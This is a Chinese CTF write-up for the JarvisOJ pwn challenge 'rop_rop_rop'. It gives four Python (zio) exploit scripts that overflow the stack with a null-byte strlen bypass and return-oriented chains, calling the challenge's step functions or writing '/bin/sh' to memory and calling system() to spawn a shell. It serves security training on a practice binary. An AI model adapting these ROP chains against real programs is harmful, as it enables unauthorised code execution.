[JarvisOj](pwn)rop_rop_rop

---

简介 :

项目地址 : https://coding.net/u/yihangwang/p/pwnme/git(pwn题目及 writeup 汇总)
题目地址 : https://coding.net/u/yihangwang/p/pwnme/git/tree/master/lessons/jarvisoj/5

---

利用代码 :

方法一 :
(按照出题人的思路 , 分别调用 Step1, Step2, Step3, 在内存中构造 /bin/sh , 然后调用 system)

#!/usr/bin/env python
# encoding:utf-8

import zio

payloadForStep1 =  "A" * 7 + "\x00" # 使用 0x00 绕过 strlen()
payloadForStep1 +=  "@" * 8 # 
payloadForStep1 +=  zio.l32(0x804871e) # Step1() 的地址
payloadForStep1 +=  zio.l32(0x804867d) # main() 的地址
payloadForStep1 +=  "\x00" * 4 # Step1 的参数3
payloadForStep1 +=  "AAAA" # Step1 的参数2
#payloadForStep1 +=  "\xd5\xc4\xb3\xa2" # Step1 的参数 1
payloadForStep1 += zio.l32(0xA2B3C4D5) # Step1 的参数 1

payloadForStep2 =  "A" * 7 + "\x00" # 使用 0x00 绕过 strlen()
payloadForStep2 +=  "@" * 8 # 
payloadForStep2 +=  zio.l32(0x8048766) # Step2() 的地址
payloadForStep2 +=  zio.l32(0x804867d) # main() 的地址
payloadForStep2 +=  zio.l32(0xFF25A7D4) # Step2 的参数 1
payloadForStep2 +=  "AAAA" # Step2 的参数2

payloadForStep3 =  "A" * 7 + "\x00" # 使用 0x00 绕过 strlen()
payloadForStep3 +=  "@" * 8 # 
payloadForStep3 +=  zio.l32(0x80487A3) # Step3() 的地址
payloadForStep3 +=  zio.l32(0x804867d) # main() 的地址
payloadForStep3 +=  zio.l32(0xFFFFFFFF) # Step3 的参数 1
payloadForStep3 +=  zio.l32(0xC0C0C0C) # Step3 的参数2
payloadForStep3 +=  zio.l32(0x9A829A82) # Step3 的参数3

Io = zio.zio("./rop_rop_rop")

Io.readline()
Io.readline()
Io.write(payloadForStep1)
Io.write("\n")

Io.readline()
Io.readline()
Io.write(payloadForStep2)
Io.write("\n")

Io.readline()
Io.readline()
Io.write(payloadForStep3)
Io.write("\n")

Io.interact()

方法二 :
(通过调用 GetUserInput() 函数将 "/bin/sh" 写入指定内存地址 , 构造 system 的调用栈)
(得到蔚恒学长的指点 , payload 长度最短)

#!/usr/bin/env python
# encoding:utf-8

import zio

payload = "A" * 7 + "\x00" # 使用 0x00 绕过 strlen()
payload += "@" * 8 # 
payload += zio.l32(0x80485F2) # GetUserInput() 的地址
payload += zio.l32(0x8048480) # GetUserInput() 的返回地址 , 也就是 system 函数的地址
payload += zio.l32(0x804A04C) # GetUserInput() 的参数 (在内存中找一段可写的地址 , 用来存放 /bin/sh 这个字符串)
payload += zio.l32(0x804A04C) # system() 函数的参数 , 为 /bin/sh 这个字符串的地址

Io = zio.zio("./rop_rop_rop")
Io.writeline(payload)
Io.readline()
Io.writeline("/bin/sh")
Io.interact()

方法三 :
(rop)

#!/usr/bin/env python
# encoding:utf-8

import zio

payload = "A" * 7 + "\x00" # 使用 0x00 绕过 strlen()
payload += "@" * 8 # 
payload += zio.l32(0x80485F2) # GetUserInput() 的地址
payload += zio.l32(0x804886B) # pop, ret 的地址
payload += zio.l32(0x804A04C) # GetUserInput() 的参数 (在内存中找一段可写的地址 , 用来存放 /bin/sh 这个字符串)
payload += zio.l32(0x8048480) # GetUserInput() 的返回地址 , 也就是 system 函数的地址
payload += zio.l32(0x804886B) # pop, ret 的地址
payload += zio.l32(0x804A04C) # system() 函数的参数 , 为 /bin/sh 这个字符串的地址
payload += zio.l32(0x8048490) # exit() 函数的地址
payload += "\x00" * 4 # exit() 的返回地址 (程序已经结束就不必再关心)
payload += zio.l32(0x00) # exit() 的参数 , 0

Io = zio.zio("./rop_rop_rop")
Io.writeline(payload)
Io.readline()
Io.writeline("/bin/sh")
Io.interact()

方法四 : (方法一的简洁版本)

#!/usr/bin/env python
# encoding:utf-8

import zio

payload =  "A" * 7 + "\x00" # 使用 0x00 绕过 strlen()
payload +=  "@" * 8 # 
payload +=  zio.l32(0x804871e) # Step1() 的地址
payload +=  zio.l32(0x8048869) # pop,pop,pop,ret 的地址
payload +=  "\x00" * 4 # Step1 的参数3
payload +=  "AAAA" # Step1 的参数2
payload += zio.l32(0xA2B3C4D5) # Step1 的参数 1

payload +=  zio.l32(0x8048766) # Step2() 的地址
payload +=  zio.l32(0x804886A) # pop,pop,ret 的地址
payload +=  zio.l32(0xFF25A7D4) # Step2 的参数 1
payload +=  "AAAA" # Step2 的参数2

payload +=  zio.l32(0x80487A3) # Step2() 的地址
payload += "BBBB" # 已经执行到 Step3() , 再如何跳转已经无所谓了 
payload +=  zio.l32(0xFFFFFFFF) # Step3 的参数 1
payload +=  zio.l32(0xC0C0C0C) # Step3 的参数2
payload +=  zio.l32(0x9A829A82) # Step3 的参数3

Io = zio.zio("./rop_rop_rop")
Io.readline()
Io.write(payload + "\n")
Io.interact()